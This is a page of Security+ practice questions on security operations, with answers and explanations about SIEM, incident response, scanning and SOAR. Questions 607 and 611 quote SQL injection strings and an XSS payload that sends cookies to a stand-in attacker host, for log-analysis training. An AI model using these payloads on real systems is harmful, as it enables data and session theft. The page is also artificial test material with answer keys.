Examkin

Security Operations

627 questions

All types627Multiple choice320Multiple select139Matching36Ordering132
Question 601Question →

A security analyst is setting up a Security Information and Event Management (SIEM) pipeline to process incoming telemetry from enterprise web application firewalls. Arrange the stages of the SIEM log processing workflow in the correct operational sequence, from initial data receipt to incident notification.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence for the SIEM log processing workflow is Log Collection, Parsing, Data Normalization, Event Correlation, and Alerting and Incident Generation.
The standard SIEM data pipeline follows a strict dependency hierarchy: Data must first be gathered (Collection), converted from raw text into structured attributes (Parsing), mapped to a single standard schema (Normalization), evaluated for multi-source indicators of compromise (Correlation), and finally communicated to security analysts when thresholds are breached (Alerting).

Step-by-Step Solution

1
Identify the initial ingestion mechanism
Log Collection is identified as position 1
Data must be transmitted from source devices and received by the SIEM before processing can begin.
2
Extract meaningful fields from the raw string payload
Parsing is identified as position 2
Unstructured log text must be split into readable key-value fields.
3
Standardize variable names and formats across heterogeneous sources
Data Normalization is identified as position 3
Different vendors use varying field labels; normalization creates a unified schema across all logs.
4
Compare normalized events across rule criteria and baselines
Event Correlation is identified as position 4
Correlation logic requires normalized data to associate events across multiple logs and devices.
5
Trigger SOC notification upon threat identification
Alerting and Incident Generation is identified as position 5
Alerting is the resulting action when correlation engine conditions are met.

Key Concept

SIEM Log Processing Pipeline Lifecycle
Estimated Time:1m 30s
Question 602Question →

During an active security monitoring shift, an analyst discovers anomalous command-and-control (C2) beacons originating from an internal human-machine interface (HMI) jump host connected to a critical industrial control network segment. The incident response playbook mandates immediate action to prevent further lateral movement without shutting down the physical system. Which of the following actions should the analyst perform FIRST according to standard incident response frameworks?

Show answer & explanation

Answer: Isolate the compromised jump host from the network by disabling its active network adapter interfaces.

Answer

Isolate the compromised jump host from the network by disabling its active network adapter interfaces.
Isolating the compromised host by disabling its network interfaces immediately restricts the attacker's ability to communicate with command-and-control servers or pivot to adjacent industrial control systems. This aligns with the containment phase of standard NIST/ISO incident response playbooks.

Step-by-Step Solution

1
Identify the current phase of the Incident Response lifecycle based on the scenario context.
An active compromise and C2 beaconing are confirmed, placing the immediate priority in the Containment phase.
Containment limits the scope and impact of an active incident before attempting root-cause removal or host recovery.
2
Evaluate containment actions against operational constraints.
Disabling network interfaces stops external C2 traffic and internal lateral movement while keeping system RAM intact for volatile evidence preservation.
Network isolation meets containment goals without violating the order of volatility or requiring immediate host power-down.

Key Concept

Incident Response Lifecycle - Containment Phase
Question 603Question →

During an ongoing incident, a security analyst discovers that an internal web application service account was compromised and is actively attempting unauthorized Kerberoasting attacks to extract Active Directory ticket-granting service hashes. According to standard NIST incident response frameworks, which of the following actions should the incident response team perform FIRST during the containment phase?

Show answer & explanation

Answer: Disable the compromised service account and isolate the host hosting the web application from the internal network.

Answer

Disable the compromised service account and isolate the host hosting the web application from the internal network.
The correct response prioritizes immediate containment by disabling the compromised credentials and isolating the compromised host from the network. In the NIST incident response lifecycle, containment must occur before eradication or recovery to prevent the adversary from expanding their breach footprint across the domain.

Step-by-Step Solution

1
Identify the phase of the incident response lifecycle required by the scenario.
The scenario requires an immediate action in the Containment phase of the NIST incident response framework.
Containment focuses on limiting the scope and impact of an active breach to prevent lateral movement and further unauthorized access.
2
Evaluate potential containment mechanisms for credential abuse and host compromise.
Disabling the affected service account revokes access, and isolating the host isolates the attack source.
Combining account disablement and host network isolation stops both credential-based lateral movement and host-based communications.
3
Distinguish containment actions from eradication, recovery, or detective controls.
Re-imaging belongs to eradication/recovery, passive monitoring is detective, and log purging destroys forensic evidence.
Proper IR playbooks require stopping the breach (containment) before conducting full cleanup (eradication) or restoration (recovery).

Key Concept

Incident Response Containment Phase Execution
Question 604Question →

A security operations team is refining its enterprise assessment strategy for a network containing sensitive database servers and production workstations. The team wants to achieve accurate discovery of missing operating system patches and local software vulnerabilities while minimizing service disruption and network bandwidth strain. Which of the following scan configuration strategies should the team implement? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Execute credentialed network scans during scheduled maintenance windows to accurately identify missing host-level updates.; Deploy host-based vulnerability agents to perform local vulnerability checks without generating high volumes of network assessment traffic.

Answer

The security team should execute credentialed scans during scheduled maintenance windows and deploy host-based vulnerability agents for continuous local monitoring.
Executing credentialed scans during maintenance windows provides deep visibility into local patch levels while avoiding disruption to active production services. Deploying host-based agents allows continuous assessment of endpoint vulnerabilities without generating massive network traffic from network-based probes.

Step-by-Step Solution

1
Analyze requirement for accurate missing patch detection without service disruption.
Identified credentialed scanning during maintenance windows as a low-risk, high-accuracy approach.
Credentialed access allows the scanner to log into hosts directly and read exact system configurations without performing aggressive network probing.
2
Analyze requirement for minimal network bandwidth strain.
Identified host-based vulnerability agents as an effective solution.
Agents execute assessments locally using internal host resources and report results centrally, eliminating large network probes across subnets.

Key Concept

Vulnerability Scan Configurations and Agent Deployment
Question 605Question →

A security analyst is selecting scanning techniques for various operational scenarios across an enterprise network. Match each vulnerability assessment technique to its corresponding characteristic or primary use case.

Click a left item, then click its matching right item

Items

Credentialed Vulnerability Scan
Non-Credentialed Vulnerability Scan
Passive Vulnerability Assessment
Intrusive Vulnerability Scan

Matches

Show answer & explanation

Answer

Credentialed Vulnerability Scan matches with inspecting local OS patch levels and host configurations accurately with low false positives. Non-Credentialed Vulnerability Scan matches with identifying exposed services from an unauthenticated attacker's perspective. Passive Vulnerability Assessment matches with monitoring traffic via SPAN/mirror ports without sending probes. Intrusive Vulnerability Scan matches with simulating exploitation scripts with risk of system instability.
Each scanning technique is paired with its defining operational mechanism: credentialed scans use host logins to inspect software registries with high precision; non-credentialed scans simulate external network reconnaissance; passive scanning observes existing traffic via port mirrors; and intrusive scanning runs active verification checks that carry potential instability risks.

Step-by-Step Solution

1
Analyze internal host configuration scanning needs
Identified Credentialed Vulnerability Scan as requiring local system access to inspect patch levels and registry entries directly.
Authenticating to target systems provides precise inventory and patch data with low false-positive rates.
2
Evaluate external threat posture assessment requirements
Identified Non-Credentialed Vulnerability Scan as probing network ports externally without authenticating.
Simulates an outside adversary analyzing public banner responses and exposed network listeners.
3
Examine operational constraints for sensitive or legacy infrastructure
Identified Passive Vulnerability Assessment as monitoring existing network traffic non-disruptively.
Listening to network traffic avoiding target interaction prevents service interruptions on sensitive systems.
4
Distinguish between vulnerability discovery and active verification risk
Identified Intrusive Vulnerability Scan as executing active checks that verify vulnerabilities by attempting benign exploitation.
Active verification confirms vulnerability impact but poses risk of service crashes.

Key Concept

Selecting appropriate vulnerability scanning methodologies based on authentication, network impact, and operational risk boundaries.
Question 606Question →

A Security Operations Center (SOC) analyst detects an active exfiltration attempt where an unauthorized external IP address is utilizing a compromised cloud API key to download sensitive data. Place the following incident response playbook actions in the correct sequential order from FIRST to LAST.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence is: First, revoke the compromised API key and block the malicious external IP address (Containment). Second, perform a forensic analysis of cloud audit logs to identify accessed resources (Analysis). Third, eliminate residual attacker access mechanisms and restore secure configurations (Eradication & Recovery). Fourth, conduct a post-incident lessons learned session (Post-Incident Activity).
The correct order follows the standard incident response process: initial Containment (revoking keys/blocking IPs to stop active loss), followed by Analysis (scoping exfiltrated files and attack footprint), Eradication & Recovery (removing persistence mechanisms and restoring secure configurations), and concluding with Post-Incident Activity (lessons learned and playbook updates).

Step-by-Step Solution

1
Implement Containment Controls
Ongoing data exfiltration is immediately halted, preventing additional loss.
Containment must occur first during an active exfiltration event to limit organizational damage.
2
Conduct Forensic Investigation and Analysis
The full scope of exfiltrated data and affected cloud infrastructure is identified.
Analyzing logs immediately post-containment ensures all compromised assets are accounted for.
3
Execute Eradication and System Recovery
Attacker persistence is removed and systems are safely restored to a baseline operational state.
Eradication removes root causes while recovery validates secure operational resumption.
4
Complete Post-Incident Review (Lessons Learned)
Documentation is finalized and IR playbooks/SOC detection logic are updated.
Lessons learned occur after operational restoration to ensure continuous security enhancement.

Key Concept

Incident Response Lifecycle Sequencing (NIST SP 800-61 / ISO 27035)
Estimated Time:1m 30s
Question 607Question →

A Security Operations Center (SOC) analyst is investigating an alert and reviews the following web application access log entries ingested by the SIEM:

192.168.1.50 - - [27/Jul/2026:14:10:02 +0000] "GET /products.php?id=1 HTTP/1.1" 200 4520
192.168.1.50 - - [27/Jul/2026:14:10:15 +0000] "GET /products.php?id=1%27%20OR%20%271%27%3D%271 HTTP/1.1" 200 18450
192.168.1.50 - - [27/Jul/2026:14:10:22 +0000] "GET /products.php?id=1%20UNION%20SELECT%20username,password%20FROM%20users HTTP/1.1" 200 32100
192.168.1.50 - - [27/Jul/2026:14:11:05 +0000] "POST /admin/login.php HTTP/1.1" 302 412

Based on the log analysis, which of the following best identifies the type of attack occurring and the most effective preventive control?

Show answer & explanation

Answer: SQL injection attack attempting database schema extraction; mitigate by implementing parameterized queries and input sanitization.

Answer

SQL injection attack attempting database schema extraction; mitigate by implementing parameterized queries and input sanitization.
The correct response accurately identifies SQL injection based on the presence of SQL syntax (`OR '1'='1'` and `UNION SELECT`) in the URL request parameters, and pairs it with prepared statements (parameterized queries), which are the standard primary defense against SQL injection.

Step-by-Step Solution

1
Analyze URL parameter patterns in the web log entries
Identified URL-encoded SQL syntax elements: `%27%20OR%20%271%27%3D%271` translates to `' OR '1'='1`, and `%20UNION%20SELECT%20username,password%20FROM%20users` indicates database enumeration.
URL parameters containing database query commands are signature indicators of SQL injection (SQLi).
2
Evaluate server response codes and response sizes
HTTP 200 status codes with response sizes growing from 4,520 bytes to 32,100 bytes demonstrate successful execution and extraction of database content.
SIEM log analysis relies on combining request payloads with HTTP status codes and response length anomalies to confirm successful exploitation.
3
Select the appropriate primary security control
Parameterized queries (prepared statements) ensure that user input is treated strictly as parameter data rather than executable SQL code.
Prepared statements directly address the root vulnerability in application source code.

Key Concept

Web Server Log Analysis and SQL Injection Correlation
Question 608Question →

A security analyst conducts a scheduled vulnerability assessment against an internal database cluster. The network scanner reports multiple critical operating system patch vulnerabilities on the target servers based on exposed service banners. Upon further inspection, the system administrator notes that the enterprise patch management policy uses Linux vendor backporting, which patches vulnerabilities without incrementing the reported software release version string. Which of the following scanning approaches should the analyst implement to obtain accurate patch compliance results and eliminate these false positives?

Show answer & explanation

Answer: Execute a credentialed scan using local administrative credentials or a host-based agent.

Answer

Execute a credentialed scan using local administrative credentials or a host-based agent.
The correct answer advocates for executing a credentialed scan using local credentials or a host-based agent. Non-credentialed vulnerability scans inspect services remotely by banner grabbing, which reports generic version numbers. Linux enterprise vendors regularly backport security patches into existing version builds without incrementing the primary release version. Credentialed scans log into the target host to query local package manager databases and patch files directly, accurately verifying patch status and resolving banner-based false positives.

Step-by-Step Solution

1
Analyze the cause of the false positive scanner report.
Uncredentialed network scans rely on banner grabbing (version strings exposed over ports), which fails to recognize backported patches that maintain original version strings.
Linux distribution vendors frequently backport security fixes into older package version strings to preserve application stability.
2
Evaluate scanning methodologies to access internal host patch inventories.
Credentialed scanning (or agent-based scanning) authenticates directly to the target system host.
Authenticating allows the scanner to query local package management databases (e.g., rpm or dpkg) and verify specific patch build numbers directly.
3
Select the optimal scanning approach to resolve banner-based false positives.
Credentialed host scanning provides precise visibility into internal system state and eliminates false positive patch alerts caused by vendor backporting.
This direct inspection ensures audit compliance while reducing unnecessary remediation overhead.

Key Concept

Credentialed vs. Uncredentialed Vulnerability Scanning and Banner Grabbing Limitation
Question 609Question →

A security analyst receives a high-priority alert from a perimeter Network Intrusion Detection System (NIDS) indicating anomalous, high-frequency outbound HTTPS connections from an internal host to an unrated external IP address. Place the operational monitoring and initial response steps in the correct chronological order from alert reception to formal escalation.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct chronological order begins with validating raw network telemetry and packet captures to rule out false positives, followed by correlating network activity with host-level SIEM logs to verify compromise. Once verified, network isolation controls are applied to contain the threat, and finally, gathered IoCs are documented and escalated to the Incident Response team.
The triage workflow follows a logical progression: packet validation (confirming the network anomaly), host correlation (verifying execution and impact), endpoint containment (mitigating active threat risk), and incident escalation (handing over complete IoC artifacts).

Step-by-Step Solution

1
Inspect packet captures and NIDS telemetry associated with the alert.
Alert authenticity is confirmed and false positive possibilities are eliminated.
Initial triage must always verify that an alert reflects genuine anomalous behavior before initiating invasive containment actions.
2
Correlate network alerts with host process logs and EDR events in the SIEM.
Scope of host execution and impact is determined.
Network monitoring alerts provide transport-layer visibility, but host correlation is required to assess whether malicious execution took place.
3
Initiate network containment by isolating the endpoint.
Active outbound C2 sessions and potential lateral movement vectors are severed.
Containment limits damage once threat activity or active compromise is verified.
4
Compile forensic findings and escalate the incident ticket.
Incident response personnel receive complete contextual data for remediation.
Escalation occurs after immediate containment and initial documentation are finalized.

Key Concept

Network Security Monitoring Triage and Incident Containment Lifecycle
Question 610Question →

During an incident response post-mortem, security analysts observed that an automated containment workflow inadvertently isolated a core database server following a low-fidelity intrusion alert. To maintain rapid automated response capabilities for routine systems while protecting vital infrastructure from self-inflicted service disruptions, which implementation modification should be applied to the playbook design?

Show answer & explanation

Answer: Add conditional logic to evaluate host criticality tags and divert high-impact system containment actions to a human-in-the-loop approval step.

Answer

Add conditional logic to evaluate host criticality tags and divert high-impact system containment actions to a human-in-the-loop approval step.
Adding conditional evaluation of asset criticality tags allows SOAR playbooks to handle routine, low-risk systems fully automatically while routing high-value target alerts through a human-in-the-loop approval step. This prevents automated security tools from unintentionally disrupting critical services during false-positive alerts.

Step-by-Step Solution

1
Identify the operational risk in the current automation workflow.
Unconditioned automated isolation playbooks can trigger false positives on critical assets, causing unintended business disruption.
Automated actions executed without contextual metadata lack awareness of host business impact.
2
Determine appropriate workflow guardrails for security orchestration.
Incorporate conditional branching based on asset tags, requiring Human-in-the-Loop (HITL) approval for critical assets while allowing fully automated isolation for non-critical endpoints.
This balances rapid automated response for standard endpoints with operational risk mitigation for key infrastructure.

Key Concept

SOAR Playbook Conditional Logic and Human-in-the-Loop (HITL) Integration
Question 611Question →

A network security monitoring (NSM) sensor captures telemetry from an isolated subnet containing an intentional decoy server. The Network Intrusion Detection System (NIDS) generates alerts containing the following captured HTTP GET request payloads:

Payload 1: GET /search.php?id=100' UNION SELECT username, password FROM users--
Payload 2: GET /profile.php?name=<script>document.location='http://attacker-c2.com/collect?c='+document.cookie</script>

Which of the following statements correctly interpret this network telemetry and security control architecture? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: The captured telemetry demonstrates both database manipulation via SQL injection and client-side code execution via Cross-Site Scripting (XSS).; The targeted decoy server serves as a detective deception control (honeypot) designed to capture threat intelligence rather than prevent inline traffic.

Answer

The captured telemetry demonstrates both SQL injection and Cross-Site Scripting (XSS) targeting a detective honeypot deception control.
The correct options correctly identify the two payload signatures (SQL injection via database UNION syntax and XSS via script tags) and accurately classify the decoy system on an isolated network as a honeypot used for detective security monitoring.

Step-by-Step Solution

1
Analyze the first payload snippet in the NIDS alert.
Identified 'UNION SELECT' syntax targeting data retrieval from a database backend (SQL Injection).
SQL injection attacks attempt to pass unauthorized SQL commands through unvalidated application input fields.
2
Analyze the second payload snippet in the NIDS alert.
Identified client-side JavaScript (<script>) targeting cookie extraction (Cross-Site Scripting / XSS).
XSS attacks execute arbitrary script code within a browser context to steal tokens or redirect users.
3
Evaluate the architectural role of the targeted decoy server on an isolated subnet.
Confirmed the host functions as a honeypot (deception technology) for detective monitoring.
Honeypots entice attackers into exposing tactics and telemetry without risking enterprise production assets.

Key Concept

Network Security Monitoring and Alert Interpretation
Question 612Question →

A cybersecurity analyst must conduct a comprehensive vulnerability assessment on internal Linux servers hosting sensitive database services. The assessment requirements specify that the process must identify missing local software updates and misconfigured operating system kernel parameters while minimizing network bandwidth consumption and avoiding risk of service disruption caused by active network probing. Which of the following vulnerability assessment approaches best fulfills these operational requirements?

Show answer & explanation

Answer: Deploying host-based credentialed scanning agents on each server

Answer

Deploying host-based credentialed scanning agents on each server best meets all stated requirements.
Deploying host-based credentialed scanning agents allows the vulnerability management system to audit internal software versions, local patch status, and OS kernel parameter configurations directly on the host. Because authentication and execution occur locally, this method consumes minimal network bandwidth and avoids sending network-probing packets that could destabilize sensitive production databases.

Step-by-Step Solution

1
Analyze the operational constraints and requirements in the scenario.
Identified requirements: detect local OS patch status and kernel misconfigurations, minimize network overhead, and prevent service disruption.
Vulnerability scanning techniques must be tailored to the specific sensitivity of the target infrastructure.
2
Evaluate host-based credentialed scanning agents against network-based scanning approaches.
Host-based agents run locally with system-level access, directly auditing patch management databases and local configuration files without transmitting high volumes of network probe packets.
Credentialed agent-based scanning provides deep internal visibility with minimal network impact and zero risk of network-induced service disruption.
3
Compare candidate options to select the single best methodology.
Host-based credentialed agent deployment is the only option that fulfills all assessment goals cleanly.
Alternative options either fail to inspect local host configurations or introduce network disruption risks and control misclassifications.

Key Concept

Credentialed vs. Unauthenticated and Host-Based vs. Network Vulnerability Scanning
Question 613Question →

A network security analyst receives a SIEM alert indicating suspicious encrypted outbound traffic from an internal host to an untrusted external IP address. Place the following incident triage and network monitoring response actions in the correct chronological order, from initial alert confirmation to threat containment.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The proper sequence for triage begins with broad NetFlow analysis to validate traffic volume, followed by inspecting detailed TLS session metadata, correlating extracted domain and IP indicators against threat intelligence, and finally executing host isolation and firewall containment.
The standard network security monitoring triage flow moves systematically from high-level flow anomaly verification to granular metadata extraction, intelligence correlation, and targeted active containment.

Step-by-Step Solution

1
Perform initial flow telemetry verification using NetFlow logs.
Confirms the existence of an anomalous connection and establishes baseline metric deviations (e.g., unusual port, long duration, high byte count).
Flow data provides rapid, low-overhead confirmation of network activity before performing deep inspection.
2
Analyze session-level proxy and TLS metadata.
Extracts contextual protocol artifacts such as SNI, TLS version, cipher suites, and destination domain names.
Granular session logs reveal specific protocol behaviors and identifying attributes embedded within the connection.
3
Correlate collected indicators with threat intelligence databases.
Determines whether the destination IP or domain is associated with known command-and-control (C2) infrastructure.
Threat intelligence matching provides context and verification regarding the intent and severity of the suspicious activity.
4
Apply containment and mitigation controls.
Blocks communication to the external address and prevents lateral movement by isolating the compromised internal device.
Remediation prevents data exfiltration and active C2 operations once threat maliciousness is confirmed.

Key Concept

Network Security Monitoring Triage Lifecycle
Question 614Question →

A security operations center (SOC) team is deploying a Security Orchestration, Automation, and Response (SOAR) playbook to handle automated containment when secret-scanning tools detect exposed API keys in public code repositories. In what sequence should the SOAR engine execute the following playbook steps?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct execution sequence is: 1) Ingest the alert payload from the secret-scanning API, 2) Query internal IAM and Asset Management APIs for enrichment, 3) Evaluate conditional decision logic for environment context, 4) Invoke the Cloud IAM API to invalidate the compromised key, and 5) Generate an ITSM ticket and dispatch notifications.
A standard SOAR playbook follows a structured workflow starting with event ingestion, followed by threat intelligence and identity enrichment to establish context. After enrichment, conditional logic determines the appropriate response path. Once conditions are satisfied, automated containment APIs execute to mitigate the threat immediately, followed by post-containment ticketing and team notifications.

Step-by-Step Solution

1
Trigger and Ingestion
The SOAR platform receives the alert payload containing the exposed credential metadata from the external repository monitor.
Execution cannot begin until the raw alert event and initial parameters are ingested by the orchestration tool.
2
Context Enrichment
The playbook queries internal systems to correlate the token string with internal identity records, environment tags, and privilege levels.
Raw alert tokens lack necessary business and technical context needed for safe, effective automated decision-making.
3
Conditional Evaluation
The playbook branch logic evaluates whether automated containment rules apply to the specific account and system environment.
Decision gates must evaluate enriched data before taking disruptive containment steps on live cloud infrastructure.
4
Automated Containment
The SOAR engine executes API integration scripts to revoke the exposed key and kill associated active sessions.
Neutralizing the active vector is the key containment objective once conditions and identity scope are validated.
5
Notification and Record Keeping
An incident record is created in the ticketing system and notifications are routed to the asset owner for manual key re-issuance.
Administrative documentation and human-in-the-loop follow-up tasks occur after successful automated threat containment.

Key Concept

SOAR Playbook Execution Lifecycle (Trigger -> Enrich -> Evaluate -> Contain -> Notify)
Question 615Question →

During an ongoing incident investigation, an incident response team discovers that an employee's workstation was compromised via a malicious macro attachment, enabling unauthorized network scanning and lateral movement attempts towards internal file servers. According to standard incident response playbooks for host compromise, which of the following containment actions should the team perform immediately? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Isolate the compromised workstation from the internal network by applying a quarantine network policy or disabling its switch port.; Revoke active authentication tokens and reset credentials for the user account associated with the compromised host.

Answer

The correct immediate containment steps are isolating the compromised workstation from the internal network and revoking active authentication tokens and resetting credentials for the affected user account.
During the containment phase of incident response, playbooks prioritize preventing further spread of the threat and revoking compromised access. Isolating the infected host from the network stops active lateral movement, and invalidating active session tokens alongside credential resets prevents unauthorized account usage across the environment.

Step-by-Step Solution

1
Determine the required Incident Response phase
The scenario requires immediate actions within the containment phase of the NIST/ISO IR lifecycle following an endpoint breach.
Containment focuses on halting threat progression before eradication and recovery operations take place.
2
Select valid host and identity containment controls
Network isolation stops endpoint communication, while credential invalidation mitigates identity abuse.
Combining host isolation and credential revocation effectively secures both the network node and user context.

Key Concept

Host and Identity Containment Actions in Incident Response Playbooks
Question 616Question →

A cloud security operations center receives automated alerts flagging unusual outbound DNS query patterns originating from an internal web application server. The telemetry reveals thousands of high-frequency sub-domain requests formatted as encoded payloads appended to an external domain, accompanied by oversized TXT record responses. Which of the following initial actions should the security analyst take to investigate and contain this activity? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Isolate the affected application server from the network segment to halt active data exfiltration.; Inspect DNS resolver query logs and correlate them with endpoint process execution logs to identify the compromised binary.

Answer

The analyst should isolate the affected application server to prevent further data exfiltration and correlate DNS query logs with endpoint process logs to determine the malicious process.
Isolating the affected application server halts covert data transfer across the network, while inspecting DNS query logs alongside host process logs reveals the exact executable performing DNS tunneling.

Step-by-Step Solution

1
Analyze the network alert indicators.
Identify high-volume sub-domain requests and TXT responses as DNS tunneling for data exfiltration or C2 traffic.
DNS tunneling uses encoded sub-domains to send data outbound and TXT responses to receive data back over standard DNS infrastructure.
2
Execute immediate incident containment.
Isolate the affected host from the network.
Host network segmentation prevents ongoing data exfiltration while preserving system state for analysis.
3
Conduct root-cause analysis via telemetry correlation.
Map network DNS query timestamps to local endpoint process execution logs.
Correlating network telemetry with endpoint execution state identifies the specific process or malware file generating the queries.

Key Concept

DNS Tunneling Detection and Incident Response Containment
Question 617Question →

A security operations team deploys an automated Security Orchestration, Automation, and Response (SOAR) playbook to mitigate compromised account alerts. The playbook is designed to connect to the organization's identity provider and immediately invalidate active session tokens when high-confidence alert criteria are met. During testing, the SOAR workflow successfully authenticates using API credentials but fails when attempting to execute the token revocation call, returning an HTTP 403 Forbidden response. Which of the following best explains why this automated remediation step failed?

Show answer & explanation

Answer: The SOAR service account successfully authenticated but lacked the authorization permissions required to modify user session states.

Answer

The SOAR service account successfully authenticated but lacked the authorization permissions required to modify user session states.
The correct answer identifies that the SOAR service account was authenticated properly but failed due to missing authorization rights. Authentication confirms who the service account is, while authorization determines what actions the service account can perform. An HTTP 403 Forbidden status confirms that identity was verified successfully, but the identity provider denied the request because the account lacked the requisite administrative privileges to revoke user sessions.

Step-by-Step Solution

1
Analyze the HTTP response code produced during the automated SOAR API call.
The target identity management API returned an HTTP 403 Forbidden status code.
HTTP 403 Forbidden specifically denotes that authentication succeeded, but the authenticated user or service principal does not possess sufficient privileges for the requested action.
2
Distinguish between API authentication and API authorization in automated SOAR workflows.
Confirm that identity verification (authentication) passed, while permission checks (authorization) failed.
SOAR service accounts require granular API scope assignments and Role-Based Access Control (RBAC) permissions to carry out active containment tasks like session invalidation.

Key Concept

Authentication vs. Authorization in SOAR API Integrations
Estimated Time:1m 30s
Question 618Question →

During off-hours monitoring, a security operations analyst identifies an active, unauthorized bulk exfiltration of sensitive personnel records from an internal HR database server to an external IP address via a compromised service account. The analyst has confirmed that the exfiltration is actively taking place. According to standard incident response lifecycle guidelines, which of the following actions should the analyst take FIRST?

Show answer & explanation

Answer: Disable the compromised service account and temporarily isolate the HR database server from the network.

Answer

Disable the compromised service account and temporarily isolate the HR database server from the network.
When an active incident involving data exfiltration is detected, the immediate priority in the NIST/ISO incident response process is Containment. Disabling the hijacked service account and network-isolating the affected host stops the ongoing unauthorized data transfer instantly and prevents the attacker from moving laterally.

Step-by-Step Solution

1
Identify the current incident response phase based on the scenario.
The incident is actively occurring (data exfiltration in progress), placing the team in the Containment phase of the NIST SP 800-61 IR lifecycle.
The primary objective during an active breach is limiting the scope of damage and preventing further data loss.
2
Evaluate containment actions against other lifecycle phases.
Disabling the compromised credential and segmenting the host stops the active transfer immediately.
Eradication and recovery steps (like restoring backups) must wait until containment is complete to prevent reinfection or continued exfiltration.

Key Concept

Incident Response Lifecycle - Containment Phase
Question 619Question →

Match each vulnerability scanning methodology with its most appropriate enterprise operational scenario.

Click a left item, then click its matching right item

Items

Credentialed Vulnerability Scan
Non-Credentialed Vulnerability Scan
Passive Vulnerability Scan
Web Application Vulnerability Scan

Matches

Show answer & explanation

Answer

Credentialed Vulnerability Scan pairs with auditing local OS configurations and internal patch levels. Non-Credentialed Vulnerability Scan pairs with mapping exposed network services from an external attacker's perspective. Passive Vulnerability Scan pairs with non-intrusively monitoring live network traffic without sending probes. Web Application Vulnerability Scan pairs with testing dynamic HTTP inputs for application-layer flaws such as XSS and SQL injection.
Each vulnerability assessment method fulfills a distinct operational requirement: Credentialed scans provide deep host visibility with low network traffic; Non-Credentialed scans assess exposure from an unauthenticated perspective; Passive scans capture traffic non-intrusively to protect sensitive devices; and Web Application scans specifically exercise web inputs and application logic for web vulnerabilities.

Step-by-Step Solution

1
Analyze internal host assessment requirements
Identify that inspecting internal host configurations, software inventories, and local registries accurately requires administrative authentication, matching the Credentialed Vulnerability Scan.
Authenticated access allows direct local checks rather than inferring versions across network ports.
2
Evaluate perimeter and unauthenticated attack surface requirements
Determine that assessing external risk without authentication credentials simulates an outside attacker, matching the Non-Credentialed Vulnerability Scan.
External attackers initially lack credentials, making unauthenticated port scans the standard model for perimeter visibility.
3
Assess sensitive operational technology (OT) monitoring constraints
Recognize that fragile or real-time systems cannot tolerate active probe packets, requiring non-intrusive traffic capture, matching the Passive Vulnerability Scan.
Passive scanning relies on packet listening rather than active probe generation, preventing service disruption.
4
Identify application-layer scanning requirements
Connect dynamic web input testing (such as XSS and SQL injection checks) to specialized Web Application Vulnerability Scans.
Standard network scanners inspect network ports and service headers, whereas web application scanners test HTTP requests, scripts, and database inputs.

Key Concept

Vulnerability Scanning Methodologies and Operational Scenarios
Estimated Time:1m 30s
Question 620Question →

A network security monitoring (NSM) system triggers an automated alert indicating anomalous outbound TLS traffic from an enterprise host to an unrated external IP address. In what sequence should a network analyst execute the technical triage and mitigation workflow?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct operational sequence begins with correlating NetFlow and SIEM logs to confirm host identity, followed by deploying firewall containment rules to halt active connections. Next, packet capture analysis is performed on the sensor data, and finally, custom NIPS signature rules are updated to prevent recurrence.
The standard network security monitoring operational workflow dictates starting with alert validation via NetFlow/SIEM correlation to confirm affected assets, applying immediate firewall containment to stop exfiltration, conducting deep PCAP analysis to extract threat indicators, and updating inline NIPS signatures for long-term prevention.

Step-by-Step Solution

1
Correlate NetFlow telemetry with SIEM logs.
Confirmed the alert validity and identified the specific source IP address involved.
Initial scoping establishes whether an alert represents a true positive and pinpoints affected assets.
2
Enforce network containment using perimeter firewall filtering.
Outbound sessions between the source host and suspicious IP are terminated.
Prompt containment minimizes security impact and stops potential exfiltration channels.
3
Perform full packet capture (PCAP) inspection.
Identified anomalous payload headers and session metadata.
Detailed protocol analysis uncovers threat details required for long-term defensive tuning.
4
Deploy updated NIPS signature definitions across sensor nodes.
Automated blocking capabilities are activated for the specific threat profile.
Converting payload indicators into detection signatures protects the enterprise against repeated attempts.

Key Concept

Network Security Monitoring Triage and Response Workflow
Estimated Time:2m 0s
PreviousPage 31 / 32Next
Security Operations Practice Questions — CompTIA Security+ — Page 31 | Examkin